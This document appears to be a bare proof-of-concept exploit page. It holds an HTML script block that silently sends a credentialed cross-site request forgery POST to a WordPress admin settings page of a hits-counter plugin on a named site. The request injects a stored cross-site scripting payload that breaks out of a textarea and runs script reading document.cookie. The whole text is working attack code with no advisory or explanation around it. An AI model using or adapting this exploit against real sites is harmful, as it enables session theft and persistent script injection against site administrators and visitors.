mtd

<script>
    var xhr = new XMLHttpRequest();
    xhr.open("POST", "https:\/\/manhtuong.net\/wp-admin\/admin.php?page=ahc_hits_counter_settings", true);
    xhr.setRequestHeader("Accept-Language", "de,en-US;q=0.7,en;q=0.3");
    xhr.setRequestHeader("Content-Type", "application\/x-www-form-urlencoded");
    xhr.withCredentials = true;
    var body =
        "save=test&set_ips=\x3c/textarea\x3e\x3cscript\x3ealert(document.cookie)\x3c/script\x3e";
    var aBody = new Uint8Array(body.length);
    for (var i = 0; i < aBody.length; i++)
        aBody[i] = body.charCodeAt(i);
    xhr.send(new Blob([aBody]));
</script>